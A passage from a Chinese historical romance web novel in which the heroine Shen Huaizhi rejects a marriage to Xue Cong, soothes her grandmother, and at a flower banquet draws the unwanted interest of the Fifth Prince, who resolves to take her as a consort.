这话说得清楚,已明明白白的挑明这桩非要不可的婚事中最关键的人物是谁,以太夫人对自家孙子的了解,若是从前的他,不管嘴不嘴硬,肯定是要解释辩驳两句的,纵然是欲盖弥彰,这盖子也是非捂好不可的,是哪怕自欺欺人都要遮掩的隐晦心思。 结果,现在…… “祖母容我想想,”被拒婚的当事人薛琮此时却面无异色,他反而看起来比之前更为冷静淡定,“辛苦祖母为我的婚事操心了,接下来就交给孙儿吧。” 太夫人从薛琮眼里看到了令她心惊肉跳的固执,她仿佛看到了这个孩子的亲生母亲,她那个性情如出一辙的早逝的外甥女,这母子两人在某方面是如此相像,无不昭示着崔家血脉的力量。 就是她自己,身上也流淌着这样的血。 所以,她太明白了,被拒婚算什么,只要他想,他总有本事达成所愿。 短暂的沉默过后,太夫人歇了劝解的心思,从前她为何那么坚定的要选择沈家七姑娘做孙媳,无非是因为她比孙子更早一步看清楚他的心思。 他对沈怀栀,由始至终都是不同的,他嘴上说着不喜欢她,厌烦她的追逐和情意,但实际上呢,一早开始,他眼里就只能看到她。 京里那么多喜欢他的姑娘家,不是没有痴情大胆的,但那些人哪个入了他的眼,他除了冷漠厌烦之外从无半点回应,若非如此,后来沈怀栀爱慕他不会招来如此大的反响与风波,因为,他纵然表现得厌烦她拒绝她,却从来没有真正将她从身边赶走过。 从那时起,太夫人就清楚,这位沈七姑娘早晚是薛家妇,她若是不将人替孙儿娶进府里,日后只等着家宅不宁吧。 毕竟,薛琮除了像崔家人之外,身上还留着薛家人的血,就像他的祖父和父亲一样,晚来醒悟的真爱,总会刺激得他们发疯。 她实在腻烦了姓薛的人身上这不断重复的旧日故事,所以一早干脆利落的替他下了决断,本来一切都该很顺利的,直到—— 沈七姑娘突然改了心思,而最关键的沈家,现在居然也舍得放弃送到嘴边的肥肉,这瞬息万变的局势,如何不能说是命运给出的考验呢。 “既然你心里有打算,祖母就不多加置喙了,”太夫人缓缓道,“不过,玄章,我有一句话要叮嘱你。” “祖母请说。”薛琮道。 “无论任何时候,行事都记得留有余地,不要把局面弄到无可挽回,”太夫人语重心长道,“这是前人血泪得出的教训,我希望你好好记在心里。” 纵然薛琮觉得自己不至于走到这步境地,但还是将祖母的教诲记在了心里,无论如何,这都是祖母的好意,他不该忽视。 太夫人离开后,依旧留在厅堂里的薛琮稍稍放松了紧绷许久的身体。 他靠坐在太师椅上,微微阖眼,眼前仿佛又出现了那好似幻梦的一幕。 大概是近日挂念两家婚事的缘故,他在昨夜的梦里看到了两家定亲的一幕,沈府之中,两家长辈言笑晏晏,讨论着有关成亲的种种安排,而他和沈怀栀,则被众人默契的打发出门,在春景盎然的花园里相携散步。 他自然是不会主动说些什么的,倒是沈怀栀,难得的一改往日在他面前的活跃模样,安静的低头走在一旁,让他很不习惯。 薛琮几次看她,她都依旧如此,以致于梦里的他都有些心烦气躁起来。 “如果你不想定亲的话,取消也来得及,”他听到自己冷言冷语的声音,“薛家无意勉强任何人。” 而他,更不会勉强她。 听到这话,沈怀栀总算肯抬起头来,她看着他,一双漂亮的眼睛里有迷茫有不解,甚至有几分自己都未曾察觉的难言的畏缩。 薛琮看着这样的她,心中生出不好的预感,而接下来沈怀栀的话,让这种预感更加强烈。 因为,她说的是,“可以取消吗?” 胸口跳动的心脏像是猝不及防间被人狠狠地用力扯了一下,薛琮嗓子干哑难言,他视线紧紧的盯着她,直到终于能开口时,她才像是猛然醒悟似的,朝他勉强笑了一下,“我开玩笑的。” “这玩笑并不好笑。”薛琮听到自己充斥着严厉指责的嗓音,尽管这声音背后是不可对人道的恐惧,是色厉内荏的,也依旧改不了他外在的冷漠苛刻。 这样的他,是很招人讨厌的,即便他自己都不喜欢,更遑论他人。 尤其是被他如此对待的沈怀栀,被指责的姑娘神色平静的看着他,像是要透过他那双眼睛看到心底里去。 “你不喜欢我,也可以不娶的。”她突然说。 说完,她对他笑了笑,像是什么都没有发生过一样,福身一礼,离开了花园。 薛琮看着她远去的背影,心中生出惊慌,她这样干脆转身,将他抛在身后,令他生出难以言喻的恐惧。 沈怀栀其人,比之风霜刀剑都更令人恐惧忌惮,他的心痛得蜷缩起来,突然意识到,自己决不能让她知晓自己会被她操控摆布这个事实。 他有预感,一旦有一天她知道这些,那刺向他心脏的那把刀,一定会出自她手。 定亲这天的短暂小插曲仿佛只是昙花一现,当他再次见到沈怀栀时,她像是彻底忘记了之前的不愉快,看到他时依旧笑容温柔盈满情意。 薛琮却知道,他绝不可能再信任她,以及她那份像是随时可以收回的所谓情意。 情爱缥缈可笑,他不会容许自己陷入这样荒诞虚假的谎言之中。 但这天的约会里,沈怀栀却在差点摔倒被他护住时顺势牵住了他的手,薛琮想挣开,觉得不合规矩,但她却不肯放,甚至还得寸进尺的用两只手用力抓住了他的手腕,一点不像是未婚男女牵手,倒像是母老虎捕猎。 薛琮最后还是由她去了,因为她理直气壮的说,“都已经定亲了,世子已经是我的人了,为什么不能牵手?我偏不!从今以后,我想怎么牵就怎么牵!” “随你。”看在两人已经是未婚夫妻的份儿上,他退了一步,毕竟,她的霸道本性他一早知晓。 至此,沈怀栀终于心满意足,也没再折腾他,老老实实的结束约会, 被他送回沈家。 马车里,没有外人在时,她得寸进尺的本性更进一步彰显,非要紧贴着他坐,如果不是薛琮伸手拦了一下,他觉得她大概率会跃跃欲试的直接坐进他怀里。 薛琮是决不能容忍这种情况发生的,密闭的车厢已经让她身上那股香气开始肆无忌惮的发散,本就十分考验他的定力,一旦被她得逞,他既做不了柳下惠,被她发现不妥的话,怕是脸面都要彻底丢尽了。 紧贴着他的沈怀栀那股执拗劲儿上来后就不依不饶,春衫本就薄,两人贴在一处,体温相触,她像是才发现似的满脸惊讶的问道,“世子,你很热吗?” 这会儿的薛琮是半点不想搭理她,他甚至连看都懒得看她,只闭着眼凝眉坐在一旁,努力沉心静气。 偏偏沈怀栀一如既往的喜欢招惹他,她半点没察觉挨挨蹭蹭间的暧昧,直到被他一手掐着后颈按进怀里,亲身体会到那些不妥,她才像是哑巴了似的,瞬间老实乖巧如缩脖鹌鹑。 等他放开手,她立刻逃命似的远离他,顶着红通通的一张脸,再不敢招惹他。 薛琮心中嗤笑,外强中干说的就是这种人,看着张牙舞爪模样厉害,实则纸糊的架子,一戳就破,毕竟,纯洁的只知道情情爱爱的姑娘,怕是从来没想过,与情爱相伴相生的,还有无尽的欲望。 所以,谁看得上她那些小打小闹,等两人日后成亲了,他总会教她知道,男人,是不能随意招惹的。 尤其是像他这种男人。 梦境以沈怀栀恢复老实安分为结尾,薛琮在醒来前的那一瞬,似乎看到张灯结彩披红挂绸正在迎新妇入府的侯府,不出意外,成婚之人正是他和沈怀栀。 梦里不知身是客,一响贪欢,醒来得到的却是沈家拒婚沈怀栀拒嫁的消息,落差之大,甚至会让人怀疑人生。 和梦里相比,现实就像是颠倒的梦境,对比鲜明,他和沈怀栀之间没有婚约,没有情意,只有针锋相对与移情别恋。 从前他们一个追人一个拒绝,现在一个求亲一个拒绝,看起来多少有些可笑,薛琮想,如果梦里那些曾经发生过,那现在无情的沈怀栀大约就是他的报应。 只不过,纵然是报应,她也不该许嫁他人。 毕竟,他不确定自己日后会不会狠心夺人妻子,就算那人是陈理也不例外。 第30章 第30章“巧言令色。” 这两天沈老夫人心情不太好,家里人都紧绷着精神怕犯到头上,沈怀栀清楚什么原因,却也懒得去劝。 纵然是为了沈家日后有利可图,但拒绝薛家的求亲,对老夫人来说依旧无异于割肉,一时间想不开心情差也是可以理解的。 当然,她能理解,其他人却不见得能。 这不,李嬷嬷和红莲就偷偷求到了她跟前,希望她能想些办法,哄哄老夫人开心。 看在这两人从前帮过她的份儿上,沈怀栀应下了这份请求,带着早就准备好的“礼物”去了荣辉堂。 看到她,老夫人神色平静,少了以往那些装模作样的慈爱之后,反而多了几分真实感,语气不冷不热的道,“不在春芜院里折腾你那些花花草草,怎么突然想起来这边了?” 沈怀栀无视老夫人的冷淡,将“礼物”奉上,笑眯眯道,“上次去见老师时,我将大堂哥的文章带过去请老师看了一下,虽说做不了堂哥的老师,但教导一二还是可以的。” 听到事关心爱孙儿的学业与前程,老夫人登时来了精神,她眼疾手快的接过那份被仔细批改的文章,一一看过,面上终于多了两分喜色。 “还算你有心,知道惦记着家里。”老夫人不甚痛快的道。 自从那天和老夫人说开揭开对方的虚伪面目之后,她老人家就一直是这个样子,因为自己即将启程去往南方的缘故,沈怀栀是半分懒得计较,现下也不过是打一棒子给个甜枣,无非不想关系弄得太僵,影响她日后大事。 “就算我对祖母有不满,总归也是一家人,肉烂在锅里这个道理我还是知道的,”沈怀栀笑道,“我清楚祖母是舍不得薛家这块大肥肉,但婚事既已回绝,还是不要太过挂怀于心,不然对祖母身体也不好。” “更何况,两家婚事未成,不过是一桩小事,和父亲日后高升回京的前途相比,着实不算什么。” “不止是薛家,”老夫人瞪了她一眼,“你忘了,还有吏部侍郎陈家。” 一直等不来陈家那边有所动作的老夫人,等终于知晓自家孙女做了什么好事之后,当时就心塞得难以言喻。 纵然她清楚现在不可能把孙女随意嫁出去,但一下子少了两个顶级优质的金龟婿,就算老夫人见惯了大风大浪,这心里一时也难以转圜过来。 真以为好婚事是随便触手可得的吗,她老人家活了这么多年,如薛家陈家这样家世与儿郎均十分出色的婚事,也是千载难逢的,沈怀栀不想嫁可以,但她不能丝毫不留退路,一出手直接让家中姐妹也没了机会,这才是老夫人心情不快的根源。 本来她以为,就算不能和陈家结亲,至少也能多了陈公子这个重要人脉,日后说不得等孙女南下之后,可以将家中其他姑娘与陈公子撮合一二,谁知道现在竟然毫无可能,希望骤然落空,谁心里能好受。 “陈家和沈家无缘,祖母还是不要多想了。”沈怀栀并不想说难听话,但是在她心里,沈家的姑娘确实配不上陈理,说她贬低自家姐妹也好,对陈理有占有欲也罢,总之,她是不会允许两家结亲的。 人非圣人,皆有私欲,她正视自己这份私心,并且丝毫不介意耍手段掐灭祖母的妄念。 老夫人从自家孙女身上看出了不好惹的意味,她皱皱眉头,看在这是个金疙瘩的份上,容忍了她这份狂妄与恣意。 有本事的人自然有资格叫板,她可以妥协退让,只要这份退让能换来同等的利益与价值。 总之,不论那些虚情假意的话,老夫人反倒觉得现在的沈怀栀更好打交道一些。 “京里热闹多,等过段日子我南下去了梧州,到时候祖母想怎么做就怎么做,总归千里之外,我又不能拦着您,”愿意说两句软话哄人的沈怀栀适时递上一杯热茶,微微笑道,“至于外面传的某些闲话流言,您也不用往心里去,我人既不在京里,再多的传言过两日也就平息了,时间一久,大家谁还记得那些无聊事呢。” “巧言令色。”老夫人轻哼一声,但还是顺势接下了这个台阶,“婚事不成就不成吧,只要你去了梧州之后好好帮你父亲,日后你自然有更合心意的前程。” 不止沈怀栀能屈能伸,老夫人同样也是能低得下头的精明人物,她和孙女念叨着南下后的安排,一个说一个听,难得有了几分祖孙慈爱的意味。 等说完正事,似是突然想起什么似的,老夫人突然道,“对了,过两日你同我出门一趟,彭城伯夫人给家里下了赏花贴,虽说你如今不用在京里谈婚论嫁,但该出门的时候还是得出门,毕竟是咱们家拒亲,可不是上赶着求人娶,没道理不敢出门,你出去转转,正好替家里挣回几分颜面,省得你从前那些荒唐事又被人拿出来说嘴。” 话说得如此清楚直白,沈怀栀没道理不应,反正不过举手之劳罢了,“好,孙女记得了。” 老夫人看她一眼,多说了两句,“到时候打扮漂亮点,怎么出挑怎么来,祖母让你出门是去给沈家挣面子的,你可别让我失望。” “没问题,”沈怀栀笑道,“一定让祖母满意。” 至此,老夫人总算是被哄好,家里这尊大佛心情一好,整个沈家气氛也松快起来,加之沈怀栀开始筹备南下的事,一时也称得上是十分忙碌。 *** 到了赏花宴那天,老夫人早早的将心腹李嬷嬷派了过来,就是为了盯着沈怀栀 仔细打扮,一副势要在今天的赏花宴上出尽风头的志在必得模样。 “老夫人与彭城伯夫人不睦?”梳妆间隙,沈怀栀问李嬷嬷,“我甚少见祖母这么不给人面子。” 至少上辈子的沈怀栀就不知道这些。 李嬷嬷一边给冬青递首饰一边低声道,“彭城伯夫人年轻时曾有意老太爷,差点闹出大乱子……” 这么一说,沈怀栀算是明白了,老夫人虽然为人上有些问题,但和祖父的感情还是不错的,不然也不会如此看重几个嫡出子女,虽说和她之间亲情淡薄,但对大房那几个,偏爱起来可谓是掏心掏肺,所以,不难理解她和彭城伯夫人之间的嫌隙。 装扮好后,差不多也到了出门的时辰,老夫人一身富贵庄重打扮压阵,至于她,则是满身的鲜亮好颜色,透着股上门挑衅的意味,祖孙两人对视一眼,彼此都十分满意。 老夫人吩咐人准备好要带去赏花宴的礼物,被沈怀栀搀扶着上了马车。 “上次长公主府的赏花宴你没去,这次也算是重新在勋贵的圈子里亮相,”老夫人道,“你祖母我在外多少还有几分贤名,你今日行事可不能损了沈家的颜面,当然,还有文谦先生的。” 提到文谦先生,老夫人总有些不痛快,奈何大敌当前,她需要和这个孙女同仇敌忾,自然不好再挑剔她。 不过,沈怀栀也不是会被她挑剔的性子,这会儿沉稳得很,一身华彩丝毫没压住满身的气势,反正看在老夫人眼里还是挺能唬人的,她可谓是十分满意,总之,外面那些等着看她们沈家笑话的人是要彻底失望了。 彭城伯夫人今日的赏花宴办得格外热闹,虽说邀请的多数只是亲近的人家,但难得有机会出来玩,女眷们数量一点不少,尤其正当春日,各色花卉争相绽放,在满是美景的园子里赏景游玩谈天享用美食,毫无疑问是令人心旷神怡的享受。 沈怀栀跟在老夫人身边,一路由伯府下人领着进了府中的花园,路上着实见到了不少打扮时兴的贵妇与贵女,彼此相遇时若是相识还会顺道打招呼聊上两句,当然,她是免不了被对方打量评估乃至八卦的。 是人都免不了好奇心,要知道,沈家拒亲永嘉侯府的消息虽然隐秘,但想要知道的人,终归是能知道的,尤其再联系上她从前对薛琮的痴情,前后态度变化如此之大,由不得人不深究一二。 沈怀栀今日一身浅蓝百花裙,身披如意烟纱披帛,配的是老夫人专门挑出的贵重红宝石头面,格外鲜亮扎眼的异色,她却偏偏压得住,整个人愈发显得容颜姣好清新明艳。 反正,以老夫人对她那肖似生母容貌的厌恶,都挑不出这张脸的毛病。 彭城伯夫人早知道沈老夫人进门,但是一直拖到人进了园子才姗姗起身前来迎接,反正两家早有嫌隙,沈家又不是什么了不得的大人物,若不是今日有贵人想要见沈家女,她才不会放下身段去应付。 “彭城伯夫人安好。”两家长辈打过招呼之后,沈怀栀这才微微一笑,不紧不慢的行礼问安。 “你家七姑娘长得真是好。”彭城伯夫人捏着鼻子不痛快的称赞了一句,她为人向来有几分霸道,从前是仗着彭城伯曾经对圣人的救驾之功,后来是娘家那边同五皇子妃扯上了关系,仗着五皇子是如今风头正劲的夺位人选,行事很有几分嚣张。 今日若非家中有贵客,她本不会这样客气,但这会儿却是摆出了一张笑脸,越过沈老夫人对沈怀栀道,“也是巧了,难得五皇子妃今日有空赏脸光临伯府,待会儿沈姑娘不妨和其他姑娘们一起去拜见一下,娘娘为人聪慧博雅,你们这些小辈很该亲近学习一二。” 沈怀栀笑笑,应承下来,五皇子妃人确实不错,只可惜,配了个行事肆无忌惮爱发疯的丈夫,纵然日后登临后位,光鲜荣华也不过是昙花一现,最后英年早逝。 这厢,花园里一片热闹,沈怀栀忙着为老夫人完成心愿,顺带还要时不时应对那些或好奇或嫉妒或不服的姑娘们,倒是不远处的楼阁之上,有人占据着地利之便,将下方发生的一切,收入眼底。 “哪个是你说的沈家姑娘?”靠坐在临窗之处的五皇子漫不经心的问严大人,“严侍郎,为了你一句话,本皇子大张旗鼓的让人专门安排了这场赏花宴,特意邀请沈家人出席,若是那位沈姑娘没来,你是知晓我脾气的。” 有赖于生母贵妃的好容貌,五皇子容色俊美到甚至带些艳丽意味,但又丝毫不沾女气,只可惜眉眼间阴戾气息甚重,看起来格外不好招惹。 严大人心中叫苦不迭,只觉得五皇子近日来脾气愈发差了,本来不过是一句话赶话的闲话,谁知道为了这句闲话,对方专门铺排了一个局。 说是今日要看那位颇得文谦先生欢心的故人之女沈七姑娘,但他却觉得五皇子分明是心情不快蓄意挑事,他定定神,认真朝楼下看去。 只能说,事有凑巧,沈怀栀恰巧今日做了出挑打扮,倒是方便了严大人寻人。 刚找到人,沐浴在五皇子苛刻视线中的严大人立时松了一口气,当下赶紧指明位置,“回殿下,姑娘们中间那位穿着浅蓝百花裙的,就是沈家七姑娘。” 五皇子循声看去,原本满不在乎的视线在将人彻底看清楚后,慢慢有了变化。 他饶有兴致的盯着那张脸,突然笑了,“有趣,本殿下还是第一次看到一张哪哪儿都合我心意的脸,难道这就是别人常说的一见钟情?” 这话五皇子敢说,严大人都不敢听啊,他这会儿是头也不抬,十分不想听这些私密之言。 “沈家七姑娘吗?我很喜欢,”他挑了挑眉,兴致盎然的道,“我觉得,这位姑娘,倒是十分适合做本殿下的侧妃。” 于是,他一边看那张完美符合心意的脸,一边对身旁的下属随口吩咐道,“去告诉皇子妃,就说,本殿下要她。” 至于这个她,自然是毫不知情的沈怀栀了。 下属领命而去,留严大人在原地叫苦不迭,毕竟,他可是清清楚楚的记得,这位沈七姑娘在外面,可是有着一桩“风流韵事”呢。 30-40 第31章 第31章—— 沈怀栀并不清楚,只是因为严侍郎告密的缘故,自己就被五皇子盯上,即将迎来被纳入王府为侧室的命运,这会儿,她正在彭城伯夫人的花园里,和一众姑娘们拜见五皇子妃呢。 因着圣人一直压着皇子们不肯给封王的缘故,有意大位的几位皇子早就斗得如乌眼鸡一般,五皇子妃作为五皇子的贤内助,对自家丈夫的野心心知肚明,因此一直以来都积极热络的搞夫人外交,在朝臣勋贵间多有贤惠名声。 今日伯府这场赏花宴只说是别有目的,但目的为何五皇子却并未说得太过清楚,她只知晓沈家七姑娘是位重要人物,关系到文谦先生的好感,是需要费心拉拢的关键人物,别的却是分毫不知了。 不过,这并不妨碍她襄助丈夫大业,即便需要她折节下交一位贵女,于是,自席间见过沈怀栀后,她就频频褒奖抬举对方。 彭城伯夫人一向以五皇子妃马首是瞻,行事向来符合对方心意,此时同样如此,她除了趁势给沈怀栀抬轿子之外,还不忘拍五皇子妃的马屁,好听话是张口就来,“…… 娘娘真是会说笑,难得今日您愿意赏脸来妾身的赏花宴,我们若是不把这些花儿一样的漂亮姑娘们推到您面前卖好,难不成还让娘娘看我们这些腻烦人的老脸?” “要知道,就是娘娘舍得,我都不舍得啊,所以,王妃娘娘尽管同姑娘们亲热,这样日后也好让我们这些老货沾沾姑娘们的光,方便娘娘日后赏脸有空同我们玩耍。” 对于彭城伯夫人的卖乖讨好,五皇子妃显然很受用,倒是一旁做看客的沈老夫人被恶心的够呛,虽说她行事也利益为先,但厚颜无耻如彭城伯夫人这般,她自问是做不到的。 “伯夫人太客气了,”五皇子妃笑意矜持优雅,“好歹今日是伯夫人做东,客随主便,本宫是一定要给夫人这个面子的,就按伯夫人说的,让贵府的五姑娘同沈家姑娘一起,陪我逛逛园子吧,伯府花园景致甚好,本宫很是喜欢。” 花花轿子人抬人,两相有意之下,沈怀栀就这么成了五皇子妃的陪客。 “栀姐儿,照顾好娘娘,万不可疏忽大意。”老夫人叮嘱道。 沈怀栀点头应是,同伯府的五姑娘一起,侧身托扶了身侧五皇子妃的手臂,彼此相视一笑,陪着人往花园清净处去了。 毕竟,比起好应付的五皇子妃,她更懒得同那些或心怀恶意或没眼色或窥私欲极重的人打交道。 今日这里这么多妇人和姑娘,总有那么几个因为被抢了心中夫婿人选不待见她的,就算沈家拒绝了薛家的求亲,也依旧不影响他们对她心生厌恶,她可不想在这里继续被纠缠被针对。 于是,三三两两聚在一起貌似赏花的女眷们就这么看着几人走远,纵然不甘心,在五皇子的威势面前,也不敢随意越界。 五皇子妃真正的目的只在于沈怀栀,等到了某处凉亭之后,被打发的伯府五姑娘顺势识趣离开,将空间留给了两人。 五皇子妃是位交际高手,当她真想同人拉近距离时,确实足够亲和,奈何沈怀栀早就熟络这种套路,五皇子妃有耐心,她更有耐心,周旋起来不说滴水不漏,但也让对方知晓她并不是个好哄骗的姑娘。 对方有意交好她自然是有目的的,沈怀栀自然也好奇这份用心背后的用意。 虽然早有预料,但从五皇子妃嘴里说出文谦先生时,她多少松了口气,还好,只是为了拉拢,不算麻烦。 总比因为薛琮的缘故成为五皇子的眼中钉要好。 要知道,上辈子薛琮与登基为帝的五皇子交恶,两人相斗可谓是血流成河,最后以一人极乐登仙做了先帝一人扶持小皇子做了摄政王大权在握为结局,看似结果是好的,但其间牵扯进无数人命,就是沈怀栀自己,也屡遭险情,若非有陈理护着,她不见得能安然挨过那阵乱局。 所以,她现在最希望的,无非就是五皇子看中了她与文谦先生的交情,意图拉拢,至于其他的,她是万万不想牵扯进对方与薛琮的争斗之中的。 毕竟,两人的不对付,可不是五皇子登位之后才有的,而是夺位之争时就早有嫌隙,当然,主要是五皇子单方面的不对付,于薛琮来说,他不过是一心忠于圣人不愿被拉拢罢了,但对五皇子来说,这已经是天大的错处。 骄横跋扈如五皇子,可从不是会反省自己的性子,不如说,他最爱的便是迁怒,反正千错万错都是旁人的错,他本人是决计不会有任何不妥的。 心思细腻如五皇子妃,自然发现了提及文谦先生时沈怀栀那似乎松快许多的模样,她心中暗笑,年轻姑娘果然沉不住气,看来日后交好这位沈姑娘并不算难事。 就在一切渐入佳境时,凉亭中突然来了一位侍从,五皇子妃自然认得丈夫身边的心腹,看两人有事要谈的模样,沈怀栀顺势告退,脚步轻快的离开了凉亭。 侍从看着沈怀栀远去的背影,再次打量确认过对方的身份之后,才低头垂首同五皇子妃说话,“请问娘娘,刚才离开的这位可是沈家七姑娘沈怀栀?” 早和沈怀栀互相交换过姓名的五皇子妃自然是知晓的,她点点头应道,“正是,是不是殿下那边有什么吩咐?” 确认过之后,侍从头垂得更低,一五一十的道,“奴婢刚从殿下身边过来,刚才在楼阁之上,殿下看见了这位沈七姑娘,他说……” 只犹豫了一下,侍从就将五皇子的原话尽数道出,除了模仿主子的语气惟妙惟肖之外,半点不曾添加个人感情。 而五皇子妃听在耳里,慢慢收敛面上笑意,最终神色平静的问道,“殿下当真是这么说的?” “奴婢传话,不敢有误。”侍从腰背弓得更深,回话的语气也谨小慎微。 短暂的静默过后,五皇子妃恢复得体笑意,温言道,“殿下的心意我知晓了,你回去告诉殿下,就说沈家姑娘的事,本宫必会用心,早日达成王爷所愿。” 得到回复之后,侍从躬身行礼,“奴婢告退。” 待凉亭里只剩王府自己人,一直安静站在五皇子妃身后的心腹嬷嬷快步上前低声道,“娘娘,大事不妙啊。” “我知道,”五皇子妃淡声道,“以殿下的脾性,能让人专门交代我这番话,显然对那位沈七姑娘是志在必得的。” 这么说着的人,心是止不住的深深往下沉,作为枕边人,五皇子妃太了解五皇子了,抑或者说,他们家这位殿下,自小被贵妃与圣人一路宠爱到大,早就养成了任性嚣张行事肆无忌惮的性子,他是不屑于说假话的,说是看中了沈家姑娘,那就是看中了沈家姑娘。 听听侍从是怎么传话的,“第一次看到一张哪哪儿都合心意的脸”,只这一句话,就注定了沈怀栀来日入王府之后会是她的劲敌。 五皇子于女色上不算热衷,他自己长得好,对身边人就格外挑剔,王府中那么多美人,能真正得他心意的少之又少,多是几日宠爱之后就淡了情分的,往日里五皇子妃能稳坐钓鱼台,与五皇子这份不偏颇的性情不无关系,现在突然多了一个说是符合心意的美人,饶是五皇子妃向来淡定看得开,这会儿心也因为突如其来的意外揪成了一团。 “我的娘娘,您还是把问题看简单了啊!”嬷嬷见五皇子妃还没意识到事情的严重性,心下担忧,将周遭服侍的人遣去周围守着不让人靠近之后,她这才满脸心焦的压低声音道,“您以为沈姑娘入府,只是府里多了个受宠的侧妃吗?您仔细想想,以殿下一向的性情,他若是想要偏爱抬举什么人,行事起来可是丝毫不在意规矩体统的。” “您只看从前后院那些得了殿下一时欢心的,不过几日光景,偏宠放纵起来就屡次有逾越之处,日后若是换成这位沈姑娘,您只怕会有天大的麻烦。” 五皇子行事有时确实随心所欲了些,但五皇子妃想了想,有些迟疑的道,“或许是嬷嬷想多了,可能也没有那么严重。” “这话您自己信吗?”嬷嬷反问道,“殿下从前对那些美人,多是无可无不可的态度,眼下这位沈姑娘,却是一出现就得了殿下青眼,说是要纳入府做侧妃呢,这上来就要把人上皇家玉牒的态度,奴婢可不觉得自己是杞人忧天。” 倒不如说,因为五皇子的宽纵,王妃娘娘才是心怀妄念的那个,有自欺欺人之嫌。 闻言,五皇子妃沉默,她拧着手中的帕子,一时间心乱如麻,至于原本还算有好感的沈怀栀,现下也只有来日劲敌这一观感了。 “所以,嬷嬷的意思……”五皇子妃问道,“是让我出面驳了殿下的打算?” 嬷嬷叹息一声,有些苦涩的无奈道,“娘娘您觉得,有可能吗?” 与其说这是嬷嬷的打算,倒不如说这是五皇子妃内心的真正想法,她才是最不愿意沈怀栀入府成为丈夫身边人的那个人。 “殿下的 心意,就算是圣人下令,也不一定拦得住,“嬷嬷叹息道,“娘娘,咱们能做的,只有未雨绸缪,让人早些去探查一下那位沈姑娘的情况,若是有可能,就看看能不能从哪里入手提前解决,但您却是决计不能动手的。” “最好的情况,就是能借他人之手,将这个祸害拦在府外,以免她入府动摇您的位置,但若不能的话,咱们也需早做准备,万不能让殿下一心向着她。” 五皇子妃神情郁郁的应下,准备迎接丈夫可能出现的新欢,现在,她只希望这位沈姑娘小辫子多一些,好让她多些转圜余地,不然,五皇子府怕是真要格局大变了。 *** 另一处,五皇子将属意的姑娘交给下属和皇子妃去安排之后,难得心情好了一些,具体表现就是此时待严大人都和气许多。 面对即将成为五皇子侧室的沈家七姑娘,严大人觉得自己最好早些交代,不然等来日五皇子从别人嘴里知晓沈姑娘从前的那些荒唐事,他怕是落不着好处还要碰一鼻子灰,说不得就要倒大霉。 于是,他磨磨蹭蹭的试探再三,在五皇子即将失去耐心爆发的前一刻,支支吾吾的道出了沈怀栀过往的行径。 “你说什么?”五皇子坐直身体,皮笑肉不笑的道,“劳烦严侍郎再说一遍,沈姑娘对谁有意?” 严大人背后生出冷汗,嗓音干涩的道,“永嘉侯府,薛琮薛世子。” 听到那个熟悉的名字,五皇子冷笑一声,身体往后仰了仰,别有深意的道,“居然是薛琮吗?” 说完,他看向一旁待命的侍从,“去查查,看看沈姑娘和薛琮之间究竟是怎么回事,本殿下要知道的一清二楚。” 侍从领命而去,两刻钟后,等得心烦气躁的五皇子知晓了一干事情的所有前因后果。 听了沈怀栀之前追爱薛琮的风流韵事的五皇子脸黑如墨,严大人瞧着,小心翼翼的问了一句,“殿下,那沈姑娘……”还纳吗? 五皇子神情阴森的瞪他一眼,虽然生气,但还是明白的道,“不是说沈家拒了永嘉侯府的婚事?既然如此,这人自然还是要入府的。” 所以,这是生气,对人也不放手的意思? 这会儿,严大人当真觉得是自己开了眼界了,要知道,以五皇子一向眼高于顶的性情,别说是个和其他男人有过风流纠葛的姑娘了,就是身边人多看外男一眼,他都不屑于再将人放在身边。 看来,沈家姑娘那张脸,当真是极合殿下心意了,严大人有些震惊的想,毕竟,他也预料不到事情最后会是如此走向。 “不过,薛琮这狗东西,倒是一如既往的让人讨厌。”五皇子神情讥讽的道,“本就不识抬举,现在还要和本殿下抢女人,早早晚晚,得为轻慢本殿下付出代价。” 在五皇子心里,他本就一贯不喜薛琮这个占据父皇看重与宠爱的勋贵子弟,若这人是个知情识趣的也就罢了,偏偏性情冷漠清高还爱装模作样,几次拉拢不成不说,还屡屡做他夺位之路上的绊脚石。 不管薛琮所为是否出于圣人授意,这都不影响五皇子对他的厌恶,尤其现在还牵扯上了他意外看中的姑娘,薛琮此人说是眼中钉肉中刺都不为过。 来日他若掌权,薛琮必然不得好死,五皇子想,但在此之前,他得先把中意的美人娶回府才成。 毕竟,沈怀栀那张脸,怎么看怎么得他心意,他也是第一次发觉,原来自己喜爱的竟是这样的容貌。 想到这里,他不免有些遗憾,以前竟然从未见过这位沈七姑娘,要是能早一点相遇,以他的身份地位和容貌,哪还会有什么痴心薛世子这种污糟前事,说不得和沈七谱写风流韵事的,就是自己了。 这么一想,他对薛琮的厌恶,瞬间变得更深更重了。 第32章 第32章—— 彭城伯夫人的赏花宴之后,沈家的生活又恢复正轨。 沈怀栀一直忙碌着南下去往梧州的事,院子里那些带不走的珍贵花草早就被她卖给清兰居换钱,虽然这么说有些庸俗,但钱财确实是好东西,无论什么时候都不会惹人讨厌。 上辈子年少时她曾经在梧州住过两年,说实话,有关那两年的记忆着实称不上美好。 在她尚且对父母怀有诸多美好期望的年纪,那两人毫不犹豫的打破了她的妄想,无论是一心仕途对远在京城的女儿不怎么在意的父亲,还是更偏爱养在身边的龙凤胎的母亲,在那个家里,她的存在就像是一个多余的令人感到尴尬的客人,即便他们试图对她亲近,依旧有种画虎不成反类犬的别扭感。 所以,她最后到底还是回了帝京,当然,也可以说是不战而溃。 总之,她那对父母教会了她一个道理,这世间,确实不是所有父母都疼爱儿女的,有时你需要很艰难很辛苦的才能承认一个事实,那就是—— 他们不怎么爱你。 幸好,她最终还是有很多人爱的,没有可怜到最后。 凭借着那早已不算清晰的稀薄记忆,沈怀栀井井有条的安排着南下的一切,托上辈子冬青深耕南方的福,她清楚知晓自己来日的落足之处,她大约只会在属于父母的刺史府里待上短短一段时间,更多的,却是不会再停留了。 渐渐长大之后,她就学会了不为难自己,老夫人见她如此忙碌,偶尔也不吝啬的给出帮助,只能说人老成精这句话还是有道理的,站在同一利益阵营之中时,祖母确实是个合格的帮手。 尤其在深切知晓她与家中母亲弟妹的尴尬关系后,即便是为了让她日后能无后顾之忧全身心的投入襄助父亲的大业之中,老人家也专门掏出时间安排人手为她排忧解难。 